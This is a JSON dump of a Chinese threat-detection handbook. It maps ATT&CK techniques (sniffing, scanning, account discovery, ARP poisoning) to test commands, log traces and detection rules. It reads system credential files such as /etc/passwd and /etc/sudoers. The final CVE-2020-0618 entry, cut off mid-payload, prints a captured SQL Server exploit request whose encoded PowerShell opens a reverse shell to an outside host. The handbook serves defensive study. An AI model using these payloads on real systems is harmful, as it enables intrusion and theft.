    "content": "# T1040-Linux-网络嗅探\n## 来自ATT&CK的描述\n网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据，或者使用跨接端口来捕获更大量的数据。\n通过该技术可以捕获的数据包括用户凭证，尤其是通过不安全的未加密协议发送的凭证；网络嗅探还可以获取到配置细节，例如运行服务，版本号以及后续横向移动或防御逃避活动所需的其他网络特征（例如：IP寻址，主机名，VLAN ID）。\n## 测试案例\ntcpdump -c 5 -nnni #{网卡接口}\ntshark -c 5 -i #{网卡接口}\n## 检测日志\nlinux /var/log/message （值得注意的是：Ubuntu下默认不开启message日志，需要手动开启）\n## 测试复现\n### 场景一\nroot@icbc:~# tcpdump -c 5 -nnni ens33\ntcpdump: verbose output suppressed, use -v or -vv for full protocol decode\nlistening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes\n10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137\n10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137\n10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137\n10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137\n10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58)\n5 packets captured\n5 packets received by filter\n0 packets dropped by kernel\n### 场景二\nroot@icbc:~# tshark -c 5 -i ens33\nRunning as user \"root\" and group \"root\". This could be dangerous.\nCapturing on 'ens33'\n    1 0.000000000 192.168.66.148 → 192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT\n    2 0.038532840 Vmware_e8:11:b3 → Broadcast    ARP 60 Who has 192.168.66.148? Tell 192.168.66.2\n    3 0.038552195 Vmware_02:d5:c7 → Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7\n    4 0.038758293 192.168.66.2 → 192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT\n    5 0.039670671 192.168.66.148 → 35.222.85.5  TCP 74 57812 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128\n5 packets captured\n## 测试留痕\n### 场景1\nmessage日志\nJul 19 10:37:33 icbc kernel: [  298.396406] device ens33 entered promiscuous mode\n### 场景2\nmessage日志\nJul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories.\nJul 19 10:47:50 icbc kernel: [  915.199848] device ens33 left promiscuous mode\nJul 19 10:47:50 icbc start.sh[734]: 2019-07-19 10:47:50,165: DEBUG helpers.application.health RAM: 65MB\n## 检测规则/思路\n### splunk检测规则\nindex=linux sourcetype=syslog entered promiscuous mode | table host,message\nindex=linux sourcetype=syslog left promiscuous mode | table host,message\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1040\n<https://attack.mitre.org/techniques/T1040/>\n"
  },
  {
    "path": "Linux/09发现/T1046-linux-使用nping扫描探测.md",
    "content": "# T1046-Linux-使用nping扫描探测\n## 来自ATT&CK的描述\n攻击者可能会尝试获取在远程主机和本地网络基础设施设备上运行的服务列表，包括那些可能容易受到远程软件利用的服务。获取此信息的常用方法包括使用系统自带的工具进行端口或漏洞扫描。\n## 测试案例\nNping允许用户发送多种协议（TCP、UDP、ICMP和ARP协议）的数据包。可以调整协议头中的字段，例如可以设置TCP和UDP的源端口和目的端口。\n主要功能------------------------------------------------------------------------------------------------------------\n- 发送ICMP echo请求\n- 对网络进行压力测试\n- ARP毒化攻击\n- DoS攻击\n- 支持多种探测模式\n- 可以探测多个主机的多个端口\nnping常用参数：\n用法：nping [Probe mode][Options] {target specification}\nProbe mode（探测模式）\n    - -tcp-connect 无特权的tcp连接探测模式；\n    - -tcp TCP探测模式\n    - -udp --icmp --arp\n    - tr,--traceroute 路由跟踪模式（仅能和tcp、udp、icmp模式一起使用）\n    - p, --dest-port 目标端口\n    - g, --source-port 源端口\n    - -seq 设置序列号\n    - -flags 设置tcp标识（ack,psh,rst,syn,fin）\n    - -ack 设置ack数\n    - S，--source-ip 设置源IP地址\n    - -dest-ip  目的IP地址\n    - c 设置次数\n    - e，--interface 接口\n    - H，--hide-sent 不显示发送的包\n    - N,--no-capture 不抓获回复包\n    - v 增加冗余等级\n    - q 减少冗余登记\n## 检测日志\nlinux日志\n## 测试复现\n向目标主机的22端口发送一次TCP数据包，用于查看主机是否开启SSH服务。\n```\nbash\nliu@Parallels:/var/log$ sudo nping -c 1 -p 22 192.168.50.128-129 --tcp\nStarting Nping 0.7.60 ( https://nmap.org/nping ) at 2022-09-24 23:53 CST\nSENT (0.0589s) TCP 10.211.55.48:15023 > 192.168.50.128:22 S ttl=64 id=64729 iplen=40  seq=125735927 win=1480------------------------------------------------------------------------------------------------------------\nSENT (1.0599s) TCP 10.211.55.48:15023 > 192.168.50.129:22 S ttl=64 id=64729 iplen=40  seq=125735927 win=1480------------------------------------------------------------------------------------------------------------\n- -----------------------------------------------------------------------------------------------------------\nStatistics for host 192.168.50.128:\n |  Probes Sent: 1 | Rcvd: 0 | Lost: 1  (100.00%)\n |_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A\nStatistics for host 192.168.50.129:\n |  Probes Sent: 1 | Rcvd: 0 | Lost: 1  (100.00%)\n |_ Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A\nRaw packets sent: 2 (80B) | Rcvd: 0 (0B) | Lost: 2 (100.00%)\nNping done: 2 IP addresses pinged in 2.10 seconds\n```\n## 测试留痕\n暂无\n## 检测规则/思路\n### Elastic\n```\nyml\nquery = '''\nevent.category:process and event.type:(start or process_started) and process.name:nping\n'''\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1046\n<https://attack.mitre.org/techniques/T1046/>\nNping Process Activity\n<https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_linux_nping_activity.toml>\nKali基本扫描工具\n<https://cloud.tencent.com/developer/article/1821351>\n"
  },
  {
    "path": "Linux/09发现/T1082-linux-Hping存活主机发现.md",
    "content": "# T1082-Linux-系统信息发现\n## 来自ATT&CK的描述\n攻击者可能试图获取有关操作系统和硬件的详细信息，包括版本，补丁，修补程序，服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作，包括攻击者是否完全感染了目标或尝试了特定操作。\n## 测试案例\nhping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3，支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分，因此用户可以灵活对目标机进行细致地探测。\n## 检测日志\nLinux audit日志\n## 测试复现\n```\nbash\nyyds@12306Br0:/var/log/audit$ sudo hping3 -I enp0s5 -S 10.211.55.35 -p 22\n[sudo] yyds 的密码：\nHPING 10.211.55.35 (enp0s5 10.211.55.35): S set, 40 headers + 0 data bytes\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=7.3 ms\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=1 win=0 rtt=8.4 ms\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=2 win=0 rtt=6.6 ms\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=3 win=0 rtt=6.3 ms\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=4 win=0 rtt=1.8 ms\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=5 win=0 rtt=6.0 ms\nlen=40 ip=10.211.55.35 ttl=64 DF id=0 sport=22 flags=RA seq=6 win=0 rtt=8.5 ms\n```\n注意权限问题，权限过低会报错\n## 测试留痕\n```\nyml\ntype=SYSCALL msg=audit(1654607530.513:15004): arch=c000003e syscall=59 success=yes exit=0 a0=55b2b32403f8 a1=55b2b31eacb0 a2=55b2b3241ed0 a3=0 items=2 ppid=36880 pid=36881 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=2 comm=\"hping3\" exe=\"/usr/sbin/hping3\" subj=? key=\"rootcmd\"\u001dARCH=x86_64 SYSCALL=execve AUID=\"yyds\" UID=\"root\" GID=\"root\" EUID=\"root\" SUID=\"root\" FSUID=\"root\" EGID=\"root\" SGID=\"root\" FSGID=\"root\"\ntype=EXECVE msg=audit(1654607530.513:15004): argc=7 a0=\"hping3\" a1=\"-I\" a2=\"enp0s5\" a3=\"-S\" a4=\"10.211.55.35\" a5=\"-p\" a6=\"22\"\n```\n## 检测规则/思路\n### elastic规则\n```\nyml\nquery = '''\nevent.category:process and event.type:(start or process_started) and process.name:(hping or hping2 or hping3)\n'''\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1082\n<https://attack.mitre.org/techniques/T1082/>\ndiscovery_linux_hping_activity\n<https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_linux_hping_activity.toml>\nkali工具-信息收集之存活主机识别（Hping）\n<https://blog.csdn.net/weixin_45761101/article/details/116696018>\n"
  },
  {
    "path": "Linux/09发现/T1087-001-linux-本地账户发现.md",
    "content": "# T1087-001-Linux-本地账户发现\n## 来自ATT&CK的描述\n攻击者可能会尝试获取本地系统帐户的列表。此信息可以帮助攻击者确定系统上存在哪些本地帐户，以帮助后续行为。\n在Linux上，可以通过使用/etc/passwd的文件来枚举本地用户。在mac中，除文件外，此相同文件仅用于单用户模式/etc/master.passwd。此外，可以通过groups和id命令枚举组。\n## 测试案例\n枚举所有账户：cat /etc/passwd\n查看sudoers文件：cat /etc/sudoers\n查看UID为0的帐户：username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username\n显示用户帐户是否有远程记录器：lastlog\n枚举用户和组：groups 或者 id\n## 检测日志\nbash历史记录\n## 测试复现\n枚举所有账户：cat /etc/passwd\n查看sudoers文件：cat /etc/sudoers （需要root权限）\n查看UID为0的帐户：username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username\n显示用户帐户是否有远程记录器：lastlog\n枚举用户和组：groups（需要root权限） 或者 id\n## 测试留痕\nroot@icbc:~/Desktop$ history\n  385  cat /etc/passwd\n  386  cat /etc/sudoers\n  387  username=$(echo $HOME | awk -F'/' '{print $3}') && lsof -u $username\n  388  lastlog\n  389  groups\n  390  id\n  391  history\n## 检测规则/思路\n### splunk规则\nindex=linux sourcetype=bash_history cat /etc/passwd | table host,user_name,bash_command\nindex=linux sourcetype=bash_history cat /etc/sudoers | table host,user_name,bash_command\nindex=linux sourcetype=bash_history \"lsof -u *\" | table host,user_name,bash_command\nindex=linux sourcetype=bash_history lastlog | table host,user_name,bash_command\nindex=linux sourcetype=bash_history group OR id | table host,user_name,bash_command\n### 建议\n值得注意的是：应该结合上下文中查看研判，而不是单独依靠关键词检测，因为系统管理员经常使用这些命令进行合法操作。\n## 参考推荐\nMITRE-ATT&CK-T1087-001\n<https://attack.mitre.org/techniques/T1087/001>\nlinux UID详解\n<https://blog.csdn.net/jthivan/article/details/50530955>\nlinux ID查看命令详解\n<https://blog.csdn.net/qq_21808961/article/details/78532487>\n"
  },
  {
    "path": "Linux/09发现/T1557-002-linux-ARP网络嗅探.md",
    "content": "# T1557-002-Linux-ARP网络嗅探\n## 来自ATT&CK的描述\n攻击者可能会在地址解析协议（ARP）缓存中下毒，将自己置于两个或多个联网设备的通信之间。这种活动可能被用来实现后续的攻击行为，如网络嗅探或传输数据操纵。\nARP协议用于将IPv4地址解析为链路层地址，如媒体访问控制（MAC）地址。本地网段中的设备通过使用链路层地址相互通信。如果一个联网设备没有特定联网设备的链路层地址，它可以向本地网络发出广播ARP请求，将IP地址翻译成MAC地址。拥有相关IP地址的设备会直接回复其MAC地址。发出ARP请求的联网设备就会使用以及在其ARP缓存中存储该信息。\n攻击者可能会被动地等待一个ARP请求，以毒害请求设备的ARP缓存。攻击者可能会用他们的MAC地址进行回复，从而欺骗受害者，让他们相信他们正在与预定的网络设备进行通信。攻击者要毒害ARP缓存，他们的回复必须比合法IP地址所有者的回复快。攻击者也可以发送一个无偿的ARP回复，恶意地向本地网段的所有设备宣布某个IP地址的所有权。\nARP协议是无状态的，不需要认证。因此，设备可能会错误地添加或更新其ARP缓存中的IP地址的MAC地址。\n攻击者可能利用ARP缓存中毒作为中间人（MiTM）网络流量的一种手段。这种活动可能被用来收集或转发数据，如证书，特别是那些通过不安全的、未加密的协议发送的数据。\n## 测试案例\nlinux下arp命令执行\nARP -A,查询系统中缓存的ARP表。ARP表用来维护IP地址与MAC地址的一一对应。\n## 检测日志\nlinux audit日志\n## 测试复现\n暂无\n## 测试留痕\n```\nyml\ntype=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm=\"arp\" exe=\"/usr/sbin/arp\" key=(null)\ntype=EXECVE msg=audit(1604994496.155:92733): argc=2 a0=\"arp\" a1=\"-a\"\ntype=CWD msg=audit(1604994496.155:92733): cwd=\"/home/wardog\"\ntype=PATH msg=audit(1604994496.155:92733): item=0 name=\"/usr/sbin/arp\" inode=13181 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0\ntype=PATH msg=audit(1604994496.155:92733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0\ntype=PROCTITLE msg=audit(1604994496.155:92733): proctitle=617270002D61\ntype=SYSCALL msg=audit(1604994496.155:92734): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25163720 a2=558e25160800 a3=558e2500a010 items=2 ppid=29002 pid=1632 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm=\"grep\" exe=\"/bin/grep\" key=(null)\ntype=EXECVE msg=audit(1604994496.155:92734): argc=3 a0=\"grep\" a1=\"-v\" a2=\"^?\"\ntype=CWD msg=audit(1604994496.155:92734): cwd=\"/home/wardog\"\ntype=PATH msg=audit(1604994496.155:92734): item=0 name=\"/bin/grep\" inode=61 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0\ntype=PATH msg=audit(1604994496.155:92734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0\ntype=PROCTITLE msg=audit(1604994496.155:92734): proctitle=67726570002D76005E3F\n```\n## 检测规则/思路\n检测audit日志中arp命令的使用情况。\n```\nyml\ntype=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm=\"arp\" exe=\"/usr/sbin/arp\" key=(null)\ntype=EXECVE msg=audit(1604994496.155:92733): argc=2 a0=\"arp\" a1=\"-a\"\n```\n### 建议\n监测网络流量，看是否有不寻常的ARP流量，无偿的ARP回复可能是可疑的。\n考虑收集各端点ARP缓存的变化，以发现ARP中毒的迹象。例如，如果多个IP地址映射到一个MAC地址，这可能是ARP缓存被投毒的一个指标。\n## 参考推荐\nMITRE-ATT&CK-T1557-002\n<https://attack.mitre.org/techniques/T1557/002>\n测试留痕数据来源\n<https://github.com/OTRF/Security-Datasets/tree/master/datasets/small/linux>\n"
  },
  {
    "path": "README.md",
    "content": "# Threat-Analysis-Handbook\n\n## 简介\n\nThreat-Analysis-Handbook目前已覆盖105个TID，332个技术点。主要涵盖Web、Windows AD、Linux，涉及ATT&CK技术、模拟测试、检测思路、检测所需数据源等。\n\n\n## 规则说明\n\nWeb方面检测规则为Suricata、Sigma两种格式，终端检测规则为Sigma格式为主。\n\n## ATTCK矩阵覆盖情况\n\n![覆盖图](img/index.png)\n\n\n\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md",
    "content": "# T1190-CVE-2020-0618-SQL_server远程代码执行漏洞---------\n## 来自ATT&CK的描述---------\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。---------\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。---------\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。---------\n## 测试案例---------\nSQL Server Reporting Services是依托于SQL Server的一个附属组件。其作用是利用SQL Server 中的数据，便捷的生成用户友好的图表。该服务默认是内部服务，默认开放在localhost的80端口。---------\n该漏洞需要经过身份验证后，攻击者向SQL Server 的报告服务(Reporting Services) 发送特制请求进行触发。攻击成功可获得SQL Server服务的对应控制权限。---------\n影响范围：---------\n```\nyml\nSQL Server 2016 Service Pack 2(GDR) 13.0.5026.0 - 13.0.5101.9   KB4505220\nSQL Server 2016 Service Pack 2 CU11 13.0.5149.0 - 13.0.5598.27  KB4527378\nSQL Server 2014 Service Pack 3 (GDR)    12.0.6024.0 - 12.0.6108.1   KB4505218\nServer 2014 Service Pack 2 CU4  12.0.6205.1 - 12.0.6329.1           KB4500181\nSQL Server 2012 Service Pack 4 (QFE)    111.0.7001.0 - 11.0.7462.6  KB4057116---------\n```\n- --------\n## 检测日志---------\nHTTP---------\n## 测试复现---------\n### 利用POC---------\n```\nyml\nPOST /ReportServer/pages/ReportViewer.aspx HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\nContent-Length: X---------\nNavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=---------\n```\n- --------\n## 测试留痕---------\n```\nyml\nPOST /ReportServer/pages/ReportViewer.aspx HTTP/1.1\nHost: 10.16.45.164:43452\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 4931\nAuthorization: NTLM TlRMTVNTUAADAAAAGAAYAHIAAADQANAAigAAAAAAAABYAAAAGgAaAFgAAAAAAAAAcgAAABAAEABaAQAANYKK4gYBsR0AAAAPZbeJ4F7Hurhq3KRbofjXh0EAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZNI4oLUbq8WOw+I6xP4TBQEBAAAAAAAAPxs79Pus1gEZGK1/9HV2LQAAAAACAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEAAQAeAFcASQBOAC0AQQBJAFUAQwBPAFUASwBJAFEANQBBAAQAHgBXAEkATgAtAEEASQBVAEMATwBVAEsASQBRADUAQQADAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEABwAIAD8bO/T7rNYBBgAEAAIAAAAAAAAAAAAAAPpOCRDGkg49ccL4zPkP3QI=---------\n__VIEWSTATE=&NavigationCorrector%24PageState=NeedsCorrection&NavigationCorrector%24ViewState=%2FwEynBwAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAA4govYyBwb3dlcnNoZWxsLmV4ZSAtZW5jb2RlZENvbW1hbmQgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQTNBRElBTGdBeEFEWUFMZ0F4QURBQU1RQXVBREVBTlFBMkFDSUFMQUEwQURVQU5nQTNBQ2tBT3dBa0FITUFkQUJ5QUdVQVlRQnRBQ0FBUFFBZ0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCSEFHVUFkQUJUQUhRQWNnQmxBR0VBYlFBb0FDa0FPd0JiQUdJQWVRQjBBR1VBV3dCZEFGMEFKQUJpQUhrQWRBQmxBSE1BSUFBOUFDQUFNQUF1QUM0QU5nQTFBRFVBTXdBMUFId0FKUUI3QURBQWZRQTdBSGNBYUFCcEFHd0FaUUFvQUNnQUpBQnBBQ0FBUFFBZ0FDUUFjd0IwQUhJQVpRQmhBRzBBTGdCU0FHVUFZUUJrQUNnQUpBQmlBSGtBZEFCbEFITUFMQUFnQURBQUxBQWdBQ1FBWWdCNUFIUUFaUUJ6QUM0QVRBQmxBRzRBWndCMEFHZ0FLUUFwQUNBQUxRQnVBR1VBSUFBd0FDa0Fld0E3QUNRQVpBQmhBSFFBWVFBZ0FEMEFJQUFvQUU0QVpRQjNBQzBBVHdCaUFHb0FaUUJqQUhRQUlBQXRBRlFBZVFCd0FHVUFUZ0JoQUcwQVpRQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVZBQmxBSGdBZEFBdUFFRUFVd0JEQUVrQVNRQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQUtRQXVBRWNBWlFCMEFGTUFkQUJ5QUdrQWJnQm5BQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQXdBQ3dBSUFBa0FHa0FLUUE3QUNRQWN3QmxBRzRBWkFCaUFHRUFZd0JyQUNBQVBRQWdBQ2dBYVFCbEFIZ0FJQUFrQUdRQVlRQjBBR0VBSUFBeUFENEFKZ0F4QUNBQWZBQWdBRThBZFFCMEFDMEFVd0IwQUhJQWFRQnVBR2NBSUFBcEFEc0FKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FNZ0FnQUNBQVBRQWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QWdBQ3NBSUFBaUFGQUFVd0FnQUNJQUlBQXJBQ0FBS0FCd0FIY0FaQUFwQUM0QVVBQmhBSFFBYUFBZ0FDc0FJQUFpQUQ0QUlBQWlBRHNBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBSUFBOUFDQUFLQUJiQUhRQVpRQjRBSFFBTGdCbEFHNEFZd0J2QUdRQWFRQnVBR2NBWFFBNkFEb0FRUUJUQUVNQVNRQkpBQ2tBTGdCSEFHVUFkQUJDQUhrQWRBQmxBSE1BS0FBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBeUFDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDNEFWd0J5QUdrQWRBQmxBQ2dBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBTEFBd0FDd0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMZ0JNQUdVQWJnQm5BSFFBYUFBcEFEc0FKQUJ6QUhRQWNnQmxBR0VBYlFBdUFFWUFiQUIxQUhNQWFBQW9BQ2tBZlFBN0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCREFHd0Fid0J6QUdVQUtBQXBBQT09BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAA